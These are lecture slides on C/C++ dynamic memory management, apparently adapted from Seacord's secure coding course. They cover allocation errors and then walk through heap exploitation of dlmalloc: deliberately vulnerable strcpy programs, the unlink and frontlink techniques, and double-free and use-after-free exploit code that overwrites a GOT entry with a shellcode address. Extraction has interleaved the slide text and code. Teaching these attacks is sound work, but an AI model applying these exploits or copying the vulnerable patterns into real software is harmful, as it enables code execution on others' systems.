Professional Documents
Culture Documents
C++
Dynamic Memory
Management
Lecture 5
Acknowledgement: These slides are based on author Seacord’s original presentation
Issues
z Dynamic Memory Management
z Common Dynamic Memory Management Errors
z Doug Lea’s Memory Allocator
z Buffer Overflows (Redux)
z Writing to Freed Memory
z Double-Free
z Mitigation Strategies
z Notable Vulnerabilities
1
Dynamic Memory Management
z Memory allocation in C:
z calloc()
z malloc()
z realloc()
z Deallocated using the free() function.
z Memory allocation in C++
z using the new operator.
z Deallocated using the delete operator.
z malloc(size_t size);
z Allocates size bytes and returns a pointer to the
allocated memory.
z The memory is not cleared.
z free(void * p);
z Frees the memory space pointed to by p, which must
have been returned by a previous call to malloc(),
calloc(), or realloc().
z If free(p) has already been called before, undefined
behavior occurs.
z If p is NULL, no operation is performed.
2
Memory Management
Functions - 2
z realloc(void *p, size_t size);
z Changes the size of the memory block pointed to by p
to size bytes.
z The contents will be unchanged to the minimum of the
old and new sizes.
z Newly allocated memory will be uninitialized.
z If p is NULL, the call is equivalent to malloc(size).
z if size is equal to zero, the call is equivalent to
free(p).
z Unless p is NULL, it must have been returned by an
earlier call to malloc(), calloc(), or realloc().
Memory Management
Functions - 3
z calloc(size_t nmemb, size_t
size);
z Allocates memory for an array of nmemb elements of
size bytes each and returns a pointer to the allocated
memory.
z The memory is set to zero.
3
Memory Managers
z Manage both allocated and deallocated
memory.
z Run as part of the client process.
z Use a variant of the dynamic storage
allocation algorithm described by Knuth.
z Memory allocated for the client process and
memory allocated for internal use, is all within
the addressable memory space of the client
process.
Methods to do Dynamic
Storage Allocation - 1
z Best-fit method –
z An area with m bytes is selected, where m is the
smallest available chunk of contiguous memory
equal to or larger than n.
z First-fit method –
z Returns the first chunk encountered containing n
or more bytes.
z Prevention of fragmentation,
z a memory manager may allocate chunks that are
larger than the requested size if the space
remaining is too small to be useful.
4
Methods to do Dynamic Storage
Allocation - 2
z Memory managers return chunks to the
available space list as soon as they become
free and consolidate adjacent areas.
z The boundary tags are used to consolidate
adjoining chunks of free memory so that
fragmentation is avoided.
z The size field simplifies navigation between
chunks.
5
Initialization
Initialization – Example
Program
1. /* return y = Ax */
2. int *matvec(int **A, int *x, int n) {
3. int *y = malloc(n * sizeof(int));
4. int i, j;
5. for (i = 0; i < n; i++)
6. for (j = 0; j < n; j++)
7. y[i] += A[i][j] * x[j];
8. return y;
9. }
6
Failing to Check Return Values
z Memory is a limited resource and can be
exhausted.
z Memory allocation functions report status
back to the caller.
z VirtualAlloc() returns NULL,
z Microsoft Foundation Class Library (MFC) operator
new throws CMemoryException *,
z HeapAlloc() may return NULL or raise a structured
exception.
z The application programmer should:
z determine when an error has occurred.
z handle the error in an appropriate manner.
7
rCs2
1. int *i_ptr;
2. i_ptr =
(int*)malloc(sizeof(int)*nelements_wanted);
3. if (i_ptr != NULL) {
4. i_ptr[i] = i;
5. }
6. else {
/* Couldn't get the memory - recover */
7. }
8
Slide 15
1. try {
2. int *pn = new int;
3. int *pi = new int(5);
4. double *pd = new double(55.9);
5. int *buf = new int[10];
. . .
6. }
7. catch (bad_alloc) {
// handle failure from new
8. }
9
Referencing Freed Memory - 1
z Once memory has been freed, it is still possible
to read or write from its location if the memory
pointer has not been set to null.
z An example of this programming error:
for (p = head; p != NULL; p = p->next)
free(p);
z The correct way to perform this operation is to
save the required pointer before freeing:
10
Referencing Freed Memory - 3
z These errors may go undetected because the
contents of memory may be preserved during
testing but eventually modified during operation.
z Writing to a memory location that has already been
freed is also unlikely to result in a memory fault but
could result in a number of serious problems.
z If the memory has been reallocated, a programmer
may overwrite memory believing that a memory
chunk is dedicated to a particular variable when in
reality it is being shared.
11
Freeing Memory Multiple
Times
z Freeing the same memory chunk more than
once is dangerous because it can corrupt the
data structures in the memory manager in a
manner that is not immediately apparent.
1. x = malloc(n * sizeof(int));
2. /* manipulate x */
3. free(x);
4. y = malloc(n * sizeof(int));
5. /* manipulate y */
6. free(x);
rCs1
12
Slide 24
rCs1 Should redo diagramin powerpoint and try to combine the info from the following slide in callouts
Robert C. Seacord, 6/24/2005
Dueling Data Structures
z If a program traverses each linked list freeing each
memory chunk pointer several memory chunks will
be freed twice.
z If the program only traverses a single list (and then
frees both list structures), memory will be leaked.
z It is less dangerous to leak memory than to free the
same memory twice.
z This problem can also happen when a chunk of
memory is freed as a result of error processing but
then freed again in the normal course of events.
13
Improperly Paired Memory Management
Functions – Example Program
14
Improper Use of Allocation
Functions - 1
z malloc(0) - A border condition that can lead to
memory management errors using the
malloc() function is zero-length allocations.
z If the size of the space requested is zero, a C
runtime library can return a NULL pointer.
z The safest and most portable solution is to
ensure zero-length allocation requests are not
made.
rCs10
15
Slide 30
rCs10 get rid of alloca() and move other bullets to the left
Robert C. Seacord, 6/24/2005
Improper Use of Allocation
Functions - 3
z Programmers may also become confused
because having to free() calls to
malloc() but not to alloca().
z Calling free() on a pointer not obtained by
calling calloc() or malloc() is a serious
error.
z The use of alloca() is discouraged.
z It should not be used with large or
unbounded allocations.
16
dlmalloc Memory Management
-1
The first four bytes of allocated chunks contain The first four bytes of free chunks contain
the last four bytes of user data of the previous the size of the previous chunk in the list.
chunk.
z Free chunks:
z Are organized into double-linked lists.
z Contain forward and back pointers to the next and previous
chunks in the list to which it belongs.
z These pointers occupy the same eight bytes of memory as
user data in an allocated chunk.
z The chunk size is stored in the last four bytes
of the free chunk, enabling adjacent free
chunks to be consolidated to avoid
fragmentation of memory.
17
dlmalloc Memory Management
-3
z In dlmalloc:
z Free chunks are arranged in circular double-linked lists or
bins.
z Each double-linked list has a head that contains forward
and back pointers to the first and last chunks in the list.
z The forward pointer in the last chunk of the list and the
back pointer of the first chunk of the list both point to the
head element.
z When the list is empty, the head’s pointers reference the
head itself.
18
Free List Double-linked
Structure
Forward pointer to first chunk in list Size or last 4 bytes of prev.
Back pointer to last chunk in list Size 1
Forward pointer to next
Back pointer to prev.
head Unused space
element
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
Unused space
Size
:
Size or last 4 bytes of prev.
Size 1
Forward pointer to next
Back pointer to prev.
:
dlmalloc - 1
z Each bin holds chunks of a particular size so that a
correctly-sized chunk can be found quickly.
z For smaller sizes, the bins contain chunks of one
size. As the size increases, the range of sizes in a
bin also increases.
z For bins with different sizes, chunks are arranged in
descending size order.
z There is a bin for recently freed chunks that acts like
a cache. Chunks in this bin are given one chance to
be reallocated before being moved to the regular
bins.
19
dlmalloc - 2
z Memory chunks are consolidated during the free()
operation.
z If the chunk located immediately before the chunk to
be freed is free, it is taken off its double-linked list
and consolidated with the chunk being freed.
z If the chunk located immediately after the chunk to
be freed is free, it is taken off its double-linked list
and consolidated with the chunk being freed.
z The resulting consolidated chunk is placed in the
appropriate bin.
20
rCs11
Buffer Overflows
21
Slide 41
22
Code Vulnerable to an Exploit
Using the unlink Technique - 2
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char *argv[]) {
4. char *first, *second, *third;
5. first = malloc(666);
6. second = malloc(12);
7. third = malloc(12);
The program
8. strcpy(first, argv[1]);
accepts a single
9. free(first);
string argument
10. free(second);
that is copied into
11. free(third);
This unbounded first
12. return(0);
13. } strcpy() operation
is susceptible to a
buffer overflow.
23
Code Vulnerable to an Exploit
Using the unlink Technique - 4
z 1. #include <stdlib.h>
z 2. #include <string.h>
z 3. int main(int argc, char *argv[]) {
z 4. char *first, *second, *third;
z 5. first = malloc(666);
z 6. second = malloc(12);
z 7. third = malloc(12);
z 8. strcpy(first, argv[1]);
z 9. free(first);
z 10. free(second); If the second chunk is
z 11. free(third); unallocated, the free()
z 12. return(0); operation will attempt to
z 13. } consolidate it with the first
chunk.
24
Using the Size Field to Find the
Start of the Next Chunk
1 st chunk
Size of previous chunk, if unallocated
666 bytes
:
2 nd chunk
:
Size of chunk = 12 1
12 bytes
:
3 rd chunk
:
?? Bytes
:
First Chunk
680 bytes
Second Chunk
4 bytes 4 bytes 4 bytes 4 bytes
… even int -4 fp-12 addr \0
prev size fd bk
size
25
Code Vulnerable to an Exploit
Using the unlink Technique - 6
z 1. #include <stdlib.h>
z 2. #include <string.h>
z 3. int main(int argc, char *argv[]) {
z 4. char *first, *second, *third;
z 5. first = malloc(666);
z 6. second = malloc(12);
z 7. third = malloc(12);
z 8. strcpy(first, argv[1]);
z 9. free(first); This argument overwrites the
z 10. free(second); previous size field, size of chunk,
z 11. free(third); and forward and backward pointers
z 12. return(0); in the second chunk— altering the
z 13. } behavior of the call to free()
26
Code Vulnerable to an Exploit
Using the unlink Technique - 8
z 1. #include <stdlib.h>
z 2. #include <string.h>
z 3. int main(int argc, char *argv[]) {
z 4. char *first, *second, *third;
z 5. first = malloc(666);
z 6. second = malloc(12);
z 7. third = malloc(12);
z 8. strcpy(first, argv[1]);
z 9. free(first); Doug Lea’s malloc now mistakenly
z 10. free(second); believes that the start of the next
z 11. free(third); contiguous chunk is 4 bytes before the
start of the second chunk.
z 12. return(0);
z 13. }
27
Memory in Second Chunk - 1
even int
-4 0
fd = FUNCTION_POINTER - 12
The first line of unlink, FD = P->fd,
bk = CODE_ADDRESS
assigns the value in P->fd (which has
remaining space
been provided as part of the malicious
argument) to FD
Size of chunk
even int
-4 0
fd = FUNCTION_POINTER - 12
28
Memory in Second Chunk - 3
even int
Size of chunk
29
The unlink() Macro - 2
z An attacker can:
z overwrite the address of a function called by the vulnerable
program with the address of malicious code.
z examine the executable image to find the address of the jump
slot for the free() library call.
z The address - 12 is included in the malicious
argument so that the unlink() method overwrites
the address of the free() library call with the
address of the shellcode.
z The shellcode is then executed instead of the call to
free().
Unlink Technique
z Exploitation of a buffer overflow in the heap is not
particularly difficult.
z It is difficult to determine the size of the first chunk
so that the boundary tag for the second argument
can be precisely overwritten.
z An attacker can copy and paste the
request2size(req,nb) macro from dlmalloc
into his or her exploit code and use this macro to
calculate the size of the chunk.
30
Frontlink Technique - 1
Frontlink Technique - 2
z The attacker:
z Supplies the address of a memory chunk and not the
address of the shell code,
z Arranges for the first four bytes of this memory chunk to
contain executable code.
31
The frontlink Code Segment
1. BK = bin;
2. FD = BK->fd;
3. if (FD != BK) {
4. while (FD != BK && S <chunksize(FD))
{
5. FD = FD->fd;
6. }
7. BK = FD->bk;
8. }
9. P->bk = BK;
10. P->fd = FD;
11. FD->bk = BK->fd = P
z 1. #include <stdlib.h>
z 2. #include <string.h>
z 3. int main(int argc, char * argv[]) {
z 4. char *first, *second, *third;
z 5. char *fourth, *fifth, *sixth;
z 6. first = malloc(strlen(argv[2]) + 1);
z 7. second = malloc(1500);
z 8. third = malloc(12); The program
z 9. fourth = malloc(666); allocates six
memory chunks
z 10. fifth = malloc(1508); (lines 6-11)
z 11. sixth = malloc(12);
z 12. strcpy(first, argv[2]);
z 13. free(fifth);
z 14. strcpy(fourth, argv[1]);
z 15. free(second); copy argv[2] into the first
z 16. return(0); z
chunk
z 17. }
32
Frontlink Technique - 3
z An attacker can provide a malicious argument
containing shellcode so that the last four bytes of
the shellcode are the jump instruction into the
rest of the shellcode, and these four bytes are
the last four bytes of the first chunk.
z To ensure this, the chunk being attacked must
be a multiple of eight bytes minus four bytes
long.
33
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 3
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12); The fourth chunk in
9. fourth = malloc(666); memory is seeded with
10. fifth = malloc(1508); carefully crafted data
11. sixth = malloc(12); (argv[1]) so that it
12. strcpy(first, argv[2]); overflows.
13. free(fifth);
14. strcpy(fourth, argv[1]); The address of a fake
15. free(second);
chunk is written into the
16. return(0); z
17. }
forward pointer of the
fifth chunk.
34
Sample Code Vulnerable to an Exploit using
the frontlink Technique - 5
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth); An attacker can discover
14. strcpy(fourth, argv[1]); this address by
15. free(second);
examining the
16. return(0);
executable image.
17. } z
35
The frontlink Code Segment - 1
z 1. BK = bin; Second is smaller
z 2. FD = BK->fd; than fifth
z 3. if (FD != BK) {
z 4. while (FD != BK && S < chunksize(FD)) {
z 5. FD = FD->fd;
z 6. }
z 7. BK = FD->bk; The While loop is
executed in the frontlink()
z 8. }
code segment (lines 4-6)
z 9. P->bk = BK;
z 10. P->fd = FD;
z 11. FD->bk = BK->fd = P;
36
The frontlink Code Segment - 3
z 1. BK = bin;
z 2. FD = BK->fd;
z 3. if (FD != BK) {
z 4. while (FD != BK && S < chunksize(FD)) {
z 5. FD = FD->fd;
z 6. }
z 7. BK = FD->bk;
z 8. } The back pointer of this fake
z 9. P->bk = BK; chunk is stored in the variable BK
z 10. P->fd = FD;
z 11. FD->bk = BK->fd = P;
37
Sample Code Vulnerable to an Exploit using the
frontlink Technique - 7
1. #include <stdlib.h>
2. #include <string.h>
3. int main(int argc, char * argv[]) {
4. char *first, *second, *third;
5. char *fourth, *fifth, *sixth;
6. first = malloc(strlen(argv[2]) + 1);
7. second = malloc(1500);
8. third = malloc(12);
9. fourth = malloc(666);
10. fifth = malloc(1508);
11. sixth = malloc(12);
12. strcpy(first, argv[2]);
13. free(fifth);
14. strcpy(fourth, argv[1]);
15. free(second); The call of return(0)
16. return(0); causes the program’s
17. }
destructorzfunction to be
called, but this executes
the shellcode instead.
Double-Free Vulnerabilities
38
Empty bin and Allocated
Chunk
User data
:
39
Corrupted Data Structures After
Second call of free()
40
Double-free Exploit Code - 2
z 1. static char *GOT_LOCATION = (char *)0x0804c98c;
z 2. static char shellcode[] =
z 3. "\xeb\x0cjump12chars_" 3. /* jump */
z 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
z
z
5.
6. int main(void){
Allocating the second
z 7. int size = sizeof(shellcode); and fourth chunks
z 8. void *shellcode_location;
z 9. void *first, *second, *third, *fourth; prevents the third chunk
z
z
10.
11.
void *fifth, *sixth, *seventh;
shellcode_location = (void *)malloc(size);
from being consolidated
z 12. strcpy(shellcode_location, shellcode);
z 13. first = (void *)malloc(256);
z 14. second = (void *)malloc(256); Freeing the third
z 15. third = (void *)malloc(256);
z 16. fourth = (void *)malloc(256); chunk moves the
z 17. free(first); first chunk to a
z 18. free(third); regular bin.
z 19. fifth = (void *)malloc(128);
z 20. free(first);
z 21. sixth = (void *)malloc(256);
z 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
z 23. *((void **)(sixth+4))=(void *)shellcode_location;
z 24. seventh = (void *)malloc(256);
z 25. strcpy(fifth, "something");
z 26. return 0;
z 27. }
41
Double-free Exploit Code - 4
z 1. static char *GOT_LOCATION = (char *)0x0804c98c;
z 2. static char shellcode[] =
z 3. "\xeb\x0cjump12chars_" 3. /* jump */
z 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
z 5.
z 6. int main(void){
z 7. int size = sizeof(shellcode);
z 8. void *shellcode_location;
z 9. void *first, *second, *third, *fourth;
z 10. void *fifth, *sixth, *seventh;
z 11. shellcode_location = (void *)malloc(size);
z
z
12.
13.
strcpy(shellcode_location, shellcode);
first = (void *)malloc(256);
Memory is now
z 14. second = (void *)malloc(256); configured so that
z 15. third = (void *)malloc(256); freeing the first chunk a
z
z
16.
17.
fourth = (void *)malloc(256);
free(first);
second time sets up the
z 18. free(third); double-free vulnerability
z 19. fifth = (void *)malloc(128);
z 20. free(first);
z 21. sixth = (void *)malloc(256);
z 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
z 23. *((void **)(sixth+4))=(void *)shellcode_location;
z 24. seventh = (void *)malloc(256);
z 25. strcpy(fifth, "something");
z 26. return 0;
z 27. }
42
Double-free Exploit Code - 6
z 1. static char *GOT_LOCATION = (char *)0x0804c98c;
z 2. static char shellcode[] =
z 3. "\xeb\x0cjump12chars_" 3. /* jump */
z 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
z 5.
z 6. int main(void){
z 7. int size = sizeof(shellcode);
z 8. void *shellcode_location;
z 9. void *first, *second, *third, *fourth;
z 10. void *fifth, *sixth, *seventh;
z 11. shellcode_location = (void *)malloc(size);
z 12. strcpy(shellcode_location, shellcode); The GOT address of the
z
z
13.
14.
first = (void *)malloc(256);
second = (void *)malloc(256);
strcpy() function (minus
z 15. third = (void *)malloc(256); 12) and the shellcode
z 16. fourth = (void *)malloc(256); location are copied into
z
z
17.
18.
free(first);
free(third);
this memory (lines 22-23),
z 19. fifth = (void *)malloc(128);
z 20. free(first);
z 21. sixth = (void *)malloc(256);
z 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
z 23. *((void **)(sixth+4))=(void *)shellcode_location;
z 24. seventh = (void *)malloc(256);
z 25. strcpy(fifth, "something");
z 26. return 0;
z 27. }
43
Double-free Exploit Code - 8
z 1. static char *GOT_LOCATION = (char *)0x0804c98c;
z 2. static char shellcode[] =
z 3. "\xeb\x0cjump12chars_" 3. /* jump */
z 4. "\x90\x90\x90\x90\x90\x90\x90\x90"
z 5.
z 6. int main(void){
z 7. int size = sizeof(shellcode);
z 8. void *shellcode_location;
z 9. void *first, *second, *third, *fourth;
z 10. void *fifth, *sixth, *seventh;
z 11. shellcode_location = (void *)malloc(size); when the chunk is allocated,
z 12. strcpy(shellcode_location, shellcode); the unlink() macro has the
13. first = (void *)malloc(256);
z
z 14. second = (void *)malloc(256);
effect of copying the address
z 15. third = (void *)malloc(256); of the shellcode into the
z 16. fourth = (void *)malloc(256); address of the strcpy()
17. free(first);
z
z 18. free(third);
function in the global offset
z 19. fifth = (void *)malloc(128); table
z 20. free(first);
z 21. sixth = (void *)malloc(256);
z 22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);
z 23. *((void **)(sixth+4))=(void *)shellcode_location;
z 24. seventh = (void *)malloc(256);
z 25. strcpy(fifth, "something");
z 26. return 0;
z 27. }
44
Writing to Freed Memory –
Example Program
z 5. int main(void){
z 6. int size = sizeof(shellcode);
z 7. void *shellcode_location;
z 8. void *first,*second,*third,*fourth,*fifth,*sixth;
z 9. shellcode_location = (void *)malloc(size);
z 10. strcpy(shellcode_location, shellcode);
z 11. first = (void *)malloc(256);
z 12. second = (void *)malloc(256);
z 13. third = (void *)malloc(256);
z 14. fourth = (void *)malloc(256);
z 15. free(first);
z 16. free(third); write to the first chunk on lines 18-
z 17. fifth = (void *)malloc(128); 19 after it has been freed on line 15.
z 18. *((void **)(first+0)) = (void *)(GOT_LOCATION-12);
z 19. *((void **)(first+4)) = (void *)shellcode_location;
z 20. sixth = (void *)malloc(256);
z 21. strcpy(fifth, "something");
z 22. return 0;
z 23. }
45